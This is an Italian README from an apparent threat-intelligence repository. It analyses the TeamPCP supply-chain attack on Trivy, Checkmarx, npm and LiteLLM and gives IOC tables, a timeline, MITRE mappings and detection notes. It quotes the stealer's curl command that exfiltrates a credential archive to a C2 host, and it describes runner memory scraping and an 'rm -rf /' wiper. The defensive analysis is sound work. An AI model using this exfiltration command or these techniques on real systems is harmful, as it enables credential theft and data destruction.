
CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.
CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.
Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP (monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm) ha eseguito una compromissione a catena della supply chain in cinque ecosistemi: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partendo da un singolo PAT GitHub non ruotato completamente, la campagna si è diffusa in due importanti vendor di sicurezza open-source (Aqua Security e Checkmarx), quattro repository GitHub Actions, due estensioni VS Code, registry di container e oltre 66 pacchetti npm.
Questo repository fornisce una completa analisi tecnica, liste IOC curate (testate per falsi positivi) e query di rilevamento pronte per la distribuzione in Microsoft Defender XDR.
Causa principale: rotazione incompleta delle credenziali dopo la violazione del 28 febbraio. Il PAT dell'account di servizio aqua-bot non è stato revocato oppure l'attaccante ha osservato il nuovo token durante la rotazione.
TeamPCP ha usato questo accesso mantenuto per force-pushare i tag di versione verso commit malevoli impostori. Ogni commit contraffatto clonava i metadati dell'originale (autore, timestamp, messaggio) mentre sostituiva lo script di entry point con il payload stealer. La pagina di rilascio di GitHub non mostrava alcun cambiamento visibile — persino il badge "Immutable" veniva visualizzato normalmente.
Lo stealer — un entrypoint.sh di 204 righe che si auto-identifica come "TeamPCP Cloud stealer" — esegue un attacco in tre fasi:
Fase 1: Scraping della Memoria
Legge /proc/<pid>/mem dai processi Runner.Worker
Cerca il pattern: {"value":"<secret>","isSecret":true}
Estrae PAT GitHub, credenziali cloud, chiavi API dalla memoria del runner
Fase 2: Scansione delle Credenziali nel Filesystem
Scansiona oltre 50 percorsi sensibili tra cui:
~/.ssh/*)~/.npmrc).envFase 3: Esfiltrazione Cifrata
tpcp.tar.gzcurl POST verso domini typosquat specifici del vendortpcp-docs o docs-tpcp nell'account GitHub della vittima usando il GITHUB_TOKEN rubatoSu sistemi Linux non-CI, il malware:
~/.config/sysmon/sysmon.py)Le credenziali rubate durante l'onda Trivy hanno permesso la compromissione dell'ecosistema Checkmarx. Ogni nuova onda utilizzava un dominio C2 typosquat diverso per eludere le blocklist dell'onda precedente:
| Onda | Dominio C2 | Typosquat Di |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Estensione | Versione Malevola | Versione Sicura |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Entrambe le estensioni sono state pubblicate a 12 secondi di distanza alle 12:53 UTC del 23 marzo tramite l'account ast-phoenix. All'attivazione, environmentAuthChecker.js verifica la presenza di credenziali di provider cloud, quindi scarica uno stealer di seconda fase da checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Immagine | Tag Malevoli |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Pacchetto | Versioni | File Backdoored |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Payload base64 triplamente annidato con toolkit di movimento laterale K8s. Persistenza tramite sysmon.service che interroga checkmarx.zone/raw.
Il pattern di esfiltrazione è identico in tutte le onde:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
La strategia dei domini typosquat è deliberata: un analista che esamina i log CI/CD vede traffico curl verso quello che sembra il dominio del vendor dell'azione stessa. Senza un confronto attento, scan.aquasecurtiy.org passa per aquasecurity.org in una revisione rapida dei log.
Solo l'attaccante può decifrare i dati rubati — la chiave di sessione AES è cifrata RSA-OAEP con la sua chiave pubblica.
Entro 24 ore dalla compromissione di Trivy, i token npm rubati hanno permesso la diffusione di un worm auto-propagante attraverso oltre 66 pacchetti (141 artifact malevoli).
Cosa rende notevole CanisterWorm:
tdtqy-oyaaa-aaaae-af2dq-cai è uno smart contract decentralizzato — nessun singolo punto di rimozioneget_latest_link, http_request, update_linkyoutube.com, la backdoor dormepgmon (monitoraggio PostgreSQL)/tmp/pglog, stato tracciato in /tmp/.pg_stateScope compromessi noti: @emilgroup/*, @teale.io/* (variante auto-propagante in @teale.io/eslint-config v1.8.11, v1.8.12)
Una variante distruttiva prende di mira specificamente i sistemi iraniani:
kamikazerm -rf / --no-preserve-root con sudoIl rilevamento avviene tramite controlli del fuso orario e delle impostazioni locali del sistema.
Nome regola: TeamPCP Supply Chain C2 and Malware IOC Match
Gravità: Alta
Categoria: CommandAndControl
Frequenza: Ogni 1 ora
Consulta detection/defender_xdr_query.kql per la query KQL completa.
La query copre:
È fornito un CSV pronto per l'importazione in iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Questo file è stato testato per falsi positivi in un ambiente enterprise di produzione.
| Piattaforma | Rilevamento |
|---|---|
| Palo Alto Cortex XDR | Regola ioc.linux.shaihulud.2 — accesso alle credenziali sui runner GitHub Actions |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Funzione |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Download payload di seconda fase |
| Nome | Onda |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
Le query di rilevamento e il CSV IOC in questo repo sono stati testati in un ambiente di produzione con:
I seguenti IOC sono stati rimossi a causa di falsi positivi confermati:
MIT — Usa, condividi, adatta liberamente. Attribuzione apprezzata.
Autore: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Ultimo aggiornamento: 25 marzo 2026
| Data (UTC) | Evento |
|---|
| 20 feb 2026 | Creato l'account hackerbot-claw; inizia la scansione dei repo per workflow pull_request_target sfruttabili |
| 28 feb 2026 | Prima compromissione di Trivy tramite PWN request; credenziali esfiltrate |
| 1 mar 2026 | Aqua Security tenta il contenimento — rotazione delle credenziali incompleta |
| 19 mar, 17:43 | Attacco principale: TeamPCP force-pusha 75/76 tag in aquasecurity/trivy-action + tutti e 7 i tag in setup-trivy tramite l'account di servizio compromesso aqua-bot |
| 19 mar, 18:22 | Trivy v0.69.4 backdoored pubblicato su GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mar, 05:40 | La finestra di compromissione di Trivy-action si chiude (~12 ore) |
| 20 mar, 20:45 | CanisterWorm rilevato mentre si diffonde su npm — oltre 47 pacchetti compromessi |
| 22 mar, 20:31 | TeamPCP sfregia tutti i 44 repo dell'organizzazione GitHub aquasec-com in un burst scriptato di 2 minuti |
| 22 mar | Immagini Docker Hub 0.69.5 e 0.69.6 pubblicate con lo stesso payload stealer |
| 23 mar, 02:53 | Inizia l'onda Checkmarx: pubblicati su OpenVSX ast-results v2.53.0 e cx-dev-assist v1.7.0 malevoli tramite l'account ast-phoenix |
| 23 mar, 12:58 | Tutti i 35 tag di Checkmarx/kics-github-action force-pushati tramite l'account compromesso cx-plugins-releases |
| 23 mar, 15:41 | Checkmarx segnala il problema OpenVSX come risolto |
| 23 mar, 16:50 | KICS GitHub Action rimosso dopo la segnalazione di un utente |
| 23 mar, 22:25 | Sysdig segnala che anche Checkmarx/ast-github-action v2.3.28 è compromesso |
| 24 mar, 08:30 | Onda LiteLLM: pubblicate su PyPI le versioni trojanizzate litellm v1.82.7 e v1.82.8 usando credenziali rubate |
| 24 mar, 11:25 | PyPI mette in quarantena le versioni malevole di LiteLLM |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repository | Tag Compromessi | Finestra di Esposizione (UTC) | Entry Point |
|---|
aquasecurity/trivy-action | 75 su 76 (salvo: 0.35.0) | 19 mar 17:43 – 20 mar 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Tutti e 7 i tag | 19 mar 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Tutti e 35 i tag | 23 mar 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (probabilmente tutti) | 23 mar ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Hash | Descrizione | Fonte |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | entrypoint.sh malevolo di Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Onda 4 — forma finale | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Onda 3 — test auto-propagante | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Onda 2 — backdoor ICP armata | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Onda 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Onda 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Onda 3+ — deploy.js minificato | Aikido Security |
| Indicatore | Tipo | Scopo |
|---|
83.142.209.11 | IP | Server C2 (checkmarx.zone) |
45.148.10.212 | IP | Server C2 (scan.aquasecurtiy.org) |
checkmarx[.]zone | Dominio | C2 — onda Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | Dominio | C2 — onda Trivy |
models.litellm[.]cloud | Dominio | C2 — onda PyPI LiteLLM |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Dominio | C2 dead-drop canister ICP |
checkmarx[.]zone/vsx| Endpoint di esfiltrazione |
checkmarx[.]zone/raw | Polling di persistenza (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | C2 canister ICP |
| Percorso | Scopo |
|---|
~/.config/sysmon/ | Directory della backdoor |
~/.config/sysmon.py | Backdoor Python |
~/.config/systemd/user/sysmon.service | Persistenza systemd |
~/.config/systemd/user/pgmon.service | Persistenza CanisterWorm (camuffata da PostgreSQL) |
/tmp/pglog | Binario scaricato |
/tmp/.pg_state | Stato del polling C2 |
| IOC | Fonte FP |
|---|
setup.sh (nome file) | Collection Ansible, cache plugin Claude Code, script Bitnami |
service.py (nome file) | Ansible module_utils, protobuf, boto3, FreeIPA, core K8s |
deploy.js (nome file) | File standard npm/node |
169.254.169.254 (IP IMDS) | Agente FortiMonitor, Oracle AHF — monitoraggio legittimo |
icp0.io (dominio padre) | Troppo ampio, intercetta traffico ICP legittimo |
hooks.slack.com (cmdline) | Integrazioni Slack legittime |
discord.com/api/webhooks (cmdline) | Integrazioni Discord legittime |
| Tecnica | ID | Contesto |
|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | Avvelenamento dei tag GitHub Actions, OpenVSX, npm, PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | Furto di AWS IMDS dai runner CI |
| Credentials from Password Stores | T1555 | Scansione delle credenziali nel filesystem (oltre 50 percorsi) |
| OS Credential Dumping | T1003 | Scraping di /proc/mem di Runner.Worker |
| Exfiltration Over C2 Channel | T1041 | tpcp.tar.gz cifrato verso domini typosquat |
| Web Service | T1102 | C2 dead-drop canister ICP |
| Systemd Service | T1543.002 | Persistenza pgmon.service, sysmon.service |
| Ingress Tool Transfer | T1105 | Download di checkmarx-util-1.0.4.tgz |
| Acquire Infrastructure: Domains | T1583.001 | Domini typosquat per ogni onda |
| Fonte | Link |
|---|